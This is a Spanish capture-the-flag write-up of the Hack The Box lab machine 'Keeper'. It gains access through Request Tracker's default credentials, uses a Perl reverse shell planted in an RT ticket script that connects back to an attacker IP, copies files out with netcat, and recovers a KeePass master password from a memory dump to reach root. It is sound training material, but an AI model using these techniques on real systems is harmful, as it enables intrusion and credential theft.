Keeper
Skills
- Obtaining KeePass password through memory dump [Privilege Escalation]
- Abusing Request Tracker
- Information Leakage
Certificaciones
- eJPT
Descripción
Keeper
es una máquina easy linux
, obtendremos acceso
a la web
usando las credenciales
por defecto
, posteriormente obtendremos acceso a la máquina víctima mandándonos una shell
a nuestro equipo aprovechando una función del request tracker
. Al ganar acceso encontraremos un dump
de Keepass
, del cual podremos obtener una especie de id_rsa
pero en putty
en vez de ssh
Reconocimiento
Se comprueba que la máquina
está activa
y se determina su sistema operativo
, el ttl
de las máquinas linux
suele ser 64
, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad
1
2
3
4
5
6
7
8
# ping 10.129.229.41
PING 10.129.229.41 (10.129.229.41) 56(84) bytes of data.
64 bytes from 10.129.229.41: icmp_seq=1 ttl=63 time=59.0 ms
64 bytes from 10.129.229.41: icmp_seq=2 ttl=63 time=57.1 ms
^C
--- 10.129.229.41 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 57.069/58.048/59.027/0.979 ms
Nmap
Se va a realizar un escaneo de todos los puertos
abiertos en el protocolo TCP
a través de nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.229.41 -oG openPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-11 13:15 CEST
Initiating SYN Stealth Scan at 13:15
Scanning 10.129.229.41 [65535 ports]
Discovered open port 22/tcp on 10.129.229.41
Discovered open port 80/tcp on 10.129.229.41
Stats: 0:00:00 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 1.43% done; ETC: 13:15 (0:00:00 remaining)
Completed SYN Stealth Scan at 13:15, 13.58s elapsed (65535 total ports)
Nmap scan report for 10.129.229.41
Host is up (0.19s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.65 seconds
Raw packets sent: 66103 (2.909MB) | Rcvd: 66103 (2.644MB)
Web Enumeration
Lo primero que vemos es lo siguiente
Cuando accedemos a http://tickets.keeper.htb/rt/
vemos esto, debido a que se está aplicando virtual hosting
Para poder ver la página correctamente necesitamos modificar nuestro /etc/hosts
1
2
3
4
5
6
7
8
127.0.0.1 localhost
127.0.1.1 Kali-Linux
10.129.229.41 tickets.keeper.htb keeper.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Así es como se ve http://tickets.keeper.htb/rt/
Lo primero que me llama la atención es el nombre
que se ve al lado del login
, al buscarlo en google > https://answers.launchpad.net/ubuntu/lunar/amd64/rt4-fcgi/4.4.4+dfsg-2ubuntu1
Probamos las credenciales por defecto, el usuario root
y la contraseña password
. Las credenciales por defecto las he encontrado en un foro https://forum.bestpractical.com/t/forgot-admin-password-of-rt/33451/2
Una vez logueados vemos lo siguiente
Web Exploitation
He estado investigando y podemos crear
o modificar
un script
en perl
para que nos envíe una reverse shell
a nuestro equipo
, estamos usando perl
porque el aplicativo al que nos enfrentamos Request Tracker
usa perl
. Lo primero que vamos a hacer es ponernos en escucha
por el puerto 443
con netcat
1
# nc -nlvp 443
Al intentar crear
o modificar
elementos en la web nos va a dar este problema
Al establecernos la reverse shell
nos va a dar este error en http://tickets.keeper.htb/rt/
y la página quedará inoperativa, para arreglarlo deberemos reiniciar la máquina
Para solucionarlo abrimos las proxy settings
de Burpsuite
y vamos a usar la opción Match and Replace
. Debemos tener el intercep
en off
y en nuestro navegador debemos tener configurado el proxy
Vamos a pinchar en queues
Pinchamos sobre General
y nos lleva a este ventana
Al hacer click en Scripts
nos lleva aquí
Pinchamos
sobre un script
cualquiera para modificarlo
Debemos ponerle estas opciones
al script
, para que cuando se cree un ticket
, se ejecute
este script
Para mandarnos
una shell
vamos a usar este script
en perl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
use strict;
use warnings;
use Socket;
# Datos de conexión
my $ip = "10.10.16.16"; # IP del atacante
my $port = 443; # Puerto al cual conectarse
# Crear el socket y conectarse
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname("tcp")) or die "No se puede crear el socket: $!";
connect(SOCKET, sockaddr_in($port, inet_aton($ip))) or die "No se puede conectar a $ip:$port: $!";
# Redirigir STDIN, STDOUT y STDERR al socket
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
# Abrir una shell
system("sh -i");
# Cerrar el socket al terminar
close(SOCKET);
Una vez este todo hecho guardamos cambios
, nos dirigimos a /home
y creamos
un ticket
Si todo ha ido bien deberíamos haber obtenido
una shell
, ahora vamos a hacer un tratamiento
a la TTY
1
2
3
4
5
6
# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.16] from (UNKNOWN) [10.129.100.101] 43578
sh: 0: can't access tty; job control turned off
$ whoami
www-data
Obtenemos las dimensiones
de nuestra pantalla
1
2
# stty size
45 183
Efectuamos el tratamiento
a la TTY
1
2
3
4
5
6
7
8
9
10
11
12
13
# script /dev/null -c bash
[ENTER]
[CTRL + Z]
# stty raw -echo; fg
[ENTER]
# reset xterm
[ENTER]
# export TERM=xterm
[ENTER]
# export SHELL=bash
[ENTER]
# stty rows 45 columns 183
[ENTER]
Privilege Escalation
En el directorio /home
de lnorgaard
está este archivo
1
2
www-data@keeper:/home/lnorgaard# ls
RT30000.zip user.txt
Nos enviamos
este archivo
a nuestra máquina, lo primero
es ponernos
en escucha
1
# nc -l -p 1234 > RT30000.zip
Nos enviamos el archivo desde
la máquina víctima
1
www-data@keeper:/home/lnorgaard# nc 10.10.16.16 1234 < RT30000.zip
En nuestra máquina descomprimimos
el archivo
y obtenemos una base de datos
de Keepass
donde se almacenan
las contraseñas
y un dump
de keepass
1
2
3
# unzip RT30000.zip
# ls
KeePassDumpFull.dmp passcodes.kdbx RT30000.zip
He estado buscando una vulnerabilidad
en Keepass
que nos permita obtener
los datos
de un dump
, y he encontrado este vídeo explicativo https://www.youtube.com/watch?v=6j8aEFNOQbk&t=276s. Al ejecutar lo que se muestra en el vídeo he obtenido una credencial
de forma parcial
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# /dotnet run KeePassDumpFull.dmp
Password candidates (character positions):
Unknown characters are displayed as "●"
1.: ●
2.: ø, Ï, ,, l, `, -, ', ], §, A, I, :, =, _, c, M,
3.: d,
4.: g,
5.: r,
6.: ø,
7.: d,
8.: ,
9.: m,
10.: e,
11.: d,
12.: ,
13.: f,
14.: l,
15.: ø,
16.: d,
17.: e,
Combined: ●{ø, Ï, ,, l, `, -, ', ], §, A, I, :, =, _, c, M}dgrød med fløde
La contraseña está incompleta así que la he pegado en google a ver que me sale y parece que es una comida típica noruega. La contraseña sería rødgrød med fløde
Nos descargamos KeePassXC
https://keepass.info/download.html, le damos privilegios de ejecución y abrimos el programa y seleccionamos el archivo passcodes.kdbx
1
2
# chmod +x KeePassXC-2.7.9-x86_64.AppImage
# ./KeePassXC-2.7.9-x86_64.AppImage
Efectivamente, esa era la contraseña. Ahora vemos aquí una RSA
la cual podemos usarla para conectarnos
a la máquina víctima
como usuario root
, para usarla debemos de almacenarla en un archivo .ppk
Nos conectamos
a la máquina víctima
como el usuario root
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# plink -i id_rsa.ppk root@10.129.198.181
The host key is not cached for this server:
10.129.198.181 (port 22)
You have no guarantee that the server is the computer you
think it is.
The server's ssh-ed25519 key fingerprint is:
ssh-ed25519 255 SHA256:hczMXffNW5M3qOppqsTCzstpLKxrvdBjFYoJXJGpr7w
If you trust this host, enter "y" to add the key to Plink's
cache and carry on connecting.
If you want to carry on connecting just once, without adding
the key to the cache, enter "n".
If you do not trust this host, press Return to abandon the
connection.
Store key in cache? (y/n, Return cancels connection, i for more info) y
Using username "root".
Access granted. Press Return to begin session.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
You have new mail.
Last login: Tue Aug 8 19:00:06 2023 from 10.10.14.41
root@keeper:~# whoami
root